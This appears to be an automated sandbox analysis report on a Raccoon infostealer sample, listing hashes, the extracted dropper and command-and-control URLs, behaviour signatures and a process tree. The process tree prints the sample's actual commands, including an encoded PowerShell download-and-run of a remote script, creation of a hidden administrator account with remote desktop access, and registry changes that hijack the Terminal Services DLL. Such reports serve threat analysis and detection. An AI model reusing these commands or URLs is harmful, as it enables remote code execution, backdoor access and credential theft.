Analysis

  • max time kernel
    76s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    02-06-2021 17:28

General

  • Target

    144a972ebcac8d04b109130673570b6d.exe

  • Size

    569KB

  • MD5

    144a972ebcac8d04b109130673570b6d

  • SHA1

    1c5aeea1afeb68b46b3f6dba3c63f91219bcc8fe

  • SHA256

    1555f744c779e3ce93f92b454ad2092e136622c39c21eca20125dd79cdf8fb94

  • SHA512

    9a76cfe4c828b069401f689ba05ebe459ba6a7d02c5e08dce06c8a49d6ba7c48447f3272be1a70d0939fde0903641f2a7bc812ce0167bc84e6d4f95e01eb0b35

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe
    "C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4024
    • C:\Users\Admin\AppData\Local\Temp\xDWsdH0odi.exe
      "C:\Users\Admin\AppData\Local\Temp\xDWsdH0odi.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3880
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2432
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\h4sypmra\h4sypmra.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1480
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES78A0.tmp" "c:\Users\Admin\AppData\Local\Temp\h4sypmra\CSC42F3E51187FF42D19E64DFCAFA75AF42.TMP"
            5⤵
              PID:3680
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1676
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2772
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3856
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:2168
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:1216
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:3840
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1904
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:4076
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3676
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4024
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2096
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:196
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1532
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2100
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2988
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:1480
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:1756
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:3144
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\144a972ebcac8d04b109130673570b6d.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3500
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1832
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1916
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2204
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:1800
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc fimlDzwq /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2220
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc fimlDzwq /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3940
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc fimlDzwq /add
                          3⤵
                            PID:3568
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4020
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3164
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3912
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1216
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3144
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:3680
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1564
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:1488
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:3416
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc fimlDzwq
                                1⤵
                                  PID:204
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc fimlDzwq
                                    2⤵
                                      PID:3612
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc fimlDzwq
                                        3⤵
                                          PID:2096
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:4072
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                          • Modifies data under HKEY_USERS
                                          PID:1796
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic CPU get NAME
                                        1⤵
                                          PID:3416
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic CPU get NAME
                                            2⤵
                                              PID:1916
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            1⤵
                                              PID:3912
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                2⤵
                                                  PID:3424
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    3⤵
                                                    • Blocklisted process makes network request
                                                    • Drops file in Program Files directory
                                                    • Drops file in Windows directory
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:3568
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C net user wgautilacc 1234
                                                1⤵
                                                  PID:2284
                                                  • C:\Windows\system32\net.exe
                                                    net user wgautilacc 1234
                                                    2⤵
                                                      PID:1884
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 user wgautilacc 1234
                                                        3⤵
                                                          PID:1532

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • memory/1676-186-0x0000021F7F0A0000-0x0000021F7F0A2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/1676-187-0x0000021F7F0A3000-0x0000021F7F0A5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/1676-190-0x0000021F7F0A6000-0x0000021F7F0A8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/1676-213-0x0000021F7F0A8000-0x0000021F7F0AA000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2432-143-0x000001D39CE63000-0x000001D39CE65000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2432-223-0x000001D39CE68000-0x000001D39CE69000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2432-144-0x000001D39D880000-0x000001D39D881000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2432-151-0x000001D39CE66000-0x000001D39CE68000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2432-159-0x000001D39CE20000-0x000001D39CE21000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2432-142-0x000001D39CE60000-0x000001D39CE62000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2432-139-0x000001D384B30000-0x000001D384B31000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2432-166-0x000001D39DDD0000-0x000001D39DDD1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2432-167-0x000001D39E160000-0x000001D39E161000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2772-214-0x000001FD1E930000-0x000001FD1E932000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2772-218-0x000001FD1E938000-0x000001FD1E93A000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2772-217-0x000001FD1E936000-0x000001FD1E938000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2772-215-0x000001FD1E933000-0x000001FD1E935000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3568-257-0x0000021876A46000-0x0000021876A48000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3568-255-0x0000021876A40000-0x0000021876A42000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3568-256-0x0000021876A43000-0x0000021876A45000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3568-258-0x0000021876A48000-0x0000021876A49000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3856-222-0x000001CCA3B38000-0x000001CCA3B3A000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3856-219-0x000001CCA3B30000-0x000001CCA3B32000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3856-220-0x000001CCA3B33000-0x000001CCA3B35000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3856-221-0x000001CCA3B36000-0x000001CCA3B38000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3880-129-0x00000150A68E0000-0x00000150A68E2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3880-127-0x00000150C0DE0000-0x00000150C1201000-memory.dmp

                                                      Filesize

                                                      4.1MB

                                                    • memory/3880-130-0x00000150A68E3000-0x00000150A68E5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3880-132-0x00000150A68E6000-0x00000150A68E7000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3880-131-0x00000150A68E5000-0x00000150A68E6000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4024-114-0x0000000002300000-0x0000000002391000-memory.dmp

                                                      Filesize

                                                      580KB

                                                    • memory/4024-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                      Filesize

                                                      600KB